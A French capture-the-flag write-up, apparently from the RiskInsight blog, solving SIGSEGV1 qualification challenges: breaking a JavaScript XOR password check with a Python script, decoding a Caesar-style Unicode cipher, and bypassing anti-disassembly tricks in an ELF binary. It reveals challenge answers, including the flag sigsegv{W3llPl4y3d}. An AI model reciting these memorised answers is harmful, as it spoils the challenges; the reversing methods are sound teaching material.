hp_d01(unescape(« %3E%23//JGCF[..snip..]%23//-JGCF//%3C »));//–></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Il est en général possible de rencontrer deux types d’obfuscation JavaScript :

• La première construit un code qui sera désobfusqué et exécuté grâce à la fonction eval()
• La seconde construit un code qui sera désobfusqué et exécuté en l’ajoutant dynamiquement dans le code de la page, par exemple via document.write()

Ce challenge utilise la seconde méthode, et le code final peut donc être récupéré en utilisant l’inspecteur HTML de Chrome / Firefox / Opera :

Le code complet de la fonction JavaScript est le suivant :
<script language=« JavaScript »>
function Kod(s, pass) {
var i=0;
var BlaBla=«  »;
for(j=0; j<s.length; j++) {
BlaBla += String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));
if (i>=pass.length)
i=0;
}
return(BlaBla);
}
function f(form){
var pass=document.form.pass.value;
var hash=0;
for(j=0; j<pass.length; j++){
var n= pass.charCodeAt(j);
hash += ((n–j+33)^31025);
}
if (hash == 529387) {
var Secret =«  »+« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b »+«  »;
var s=Kod(Secret, pass);
document.write (s);
} else {
alert (‘Wrong password!’);
}
}
</script>
Les première analyses du code indiquent que :

• La fonction Kod consiste à réaliser une opération XOR entre une chaîne et une clé, cette dernière étant répétée si plus courte que la chaîne à chiffrer
• La fonction f est appelée sur validation du formulaire et :
  • réalise une vérification sur la clé entrée dans le formulaire (variable hash)
  • déchiffre la variable Secret à l’aide de la clé pour l’afficher sur la page

Il s’agit donc ici d’un problème de cryptographie, et la première étape consiste à trouver la longueur de la clé. Bien que des analyses statistiques soient possibles, une méthode plus facile consiste à utiliser le calcul de la variable hash pour évaluer cette longueur.

Cette variable est la somme des (n-j+33)^31025, n étant le code ASCII du caractère et j sa position. Ces éléments sont globalement bornés autour dans l’intervalle 30000-32000. Il est donc facile d’approximer la longueur de la clé via Napprox = 529387 / 31000 = 17.077

, soit 17.

« \x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e » +
« \x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d » +
« \x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18 » +
« \x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d » +
« \x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19 » +
« \x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52 » +
« \x1b\x1d\x0a\x1f\x5b »

#!/usr/bin/python
import sys
def xor(a, b):
return  ».join([chr(ord(c)^ord(d)) for c, d in zip(a, b)])
blocks = [
‘\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e’,
‘\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d’,
‘\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18’,
‘\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d’,
‘\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19’,
‘\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52’,
#’\x1b\x1d\x0a\x1f\x5b’
]
pw = sys.argv[1]
for b in blocks:
print ‘[-] Ref is %s’ % repr(b)
for i in range(len(blocks[0])-len(pw)+1):
print ‘[-] At pos %d’ % i
pk = xor(b[i:], pw)
print ‘[-] PK = %s’ % repr(pk)
for b2 in blocks:
if b==b2:
continue
print xor(b2[i:], pk)
print  »

Cryptographie : Un nouveau dialecte (ShrewkRoot)

iansus @ iansus-server ~/rtfm/quals/js % echo -n ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ | hexdump -C
00000000 c8 83 c7 b9 c7 b7 c8 83 c7 b5 c7 b7 c8 86 c8 8b |…………….|
00000010 c7 9c c7 91 c7 a3 c7 a4 c7 95 c7 97 c7 91 c7 93 |…………….|
00000020 c7 95 c7 a3 c7 a4 c7 a0 c7 91 c7 a3 c7 a3 c7 99 |…………….|
00000030 c7 96 c7 91 c7 93 c7 99 c7 9c c7 95 c8 8d |…………..|
0000003e
On constate alors rapidement que les caractères s’écrivent sur deux octets, et qu’ils se présentent tous sous les forme c7 xx ou c8 yy. Par ailleurs, en supposant que le texte décodé commence par sigsegv{, on remarque que :

• La 1ère lettre (s) et la 4ème lettre (s) sont codées de manière identique (c8 83) : il s’agit donc probablement d’une substitution monoalphabétique
• La 5ème lettre (e) et la 7ème lettre (g) ont respectivement pour valeur codée c7 b5 et c7 b7 : le décalage entre deux lettres est constant, il s’agit probablement d’une variante du chiffre de César

Description : Faites-moi confiance, XOR n’est pas la solution.

Le challenge se présente sous la forme d’un binaire ELF 64-bit strippé. Ce writeup utilisera Cutter, l’interface graphique de Radare2. Les première étapes sont assez simples, puisque la fonction main ne possède qu’un appel à une autre fonction :

 

 

Si l’on tente d’afficher le graphe de la fonction située à 0x004009e0, l’erreur suivante se produit :

Il s’agit là d’une technique anti-reverse, que l’on peut observer plus en détails dans l’affichage linéaire de Cutter :

 

 

Ci-dessous le détail des instructions :

• push rax : sauvegarde la valeur courante de RAX sur la pile
• xor eax, eax : remet la valeur de EAX à 0
• test eax, eax : teste si la valeur de EAX est nulle et fixe le flag Z à 1
• pop rax : récupère la valeur sauvegardée de RAX depuis la pile
• jne 0x4009ee : saute à l’adresse indiquée si le flag Z vaut 0 (non pris)
• je 0x4009ef : saute à l’adresse indiquée si le flag Z vaut 1 (pris)

Seulement, les instructions à l’adresse 0x4009ef ne sont pas désassemblées puisqu’une instruction jmp commence à l’octet précédent. Le saut à l’octet précédent n’étant jamais emprunté, il est possible d’ignorer cette instruction et de demander le désassemblage à partir de 0x4009ef.

Pour cela, un clic-droit à l’adresse 0x4009ee fait apparaître le menu suivant :

Il est alors possible d’observer le code qui devrait être normalement exécuté :

En analysant plus précisément le binaire, on se rend compte que ces techniques empêchent simplement le graphe de flot de contrôle (CFG) et que le désassemblage reste intact.

L’analyse était donc simplement possible en ignorant ces bouts de code invalides. Il est alors facile d’identifier la fonction qui gère le flag, sub.BB_7c2. Bien que des astuces anti-reverse soient également présentes, les lettres du flag sont clairement visibles :

Le flag récupéré est alors sigsegv{W3llPl4y3d}.

Cet article [CTF] Writeup du round de qualification SIGSEGV1 est apparu en premier sur RiskInsight.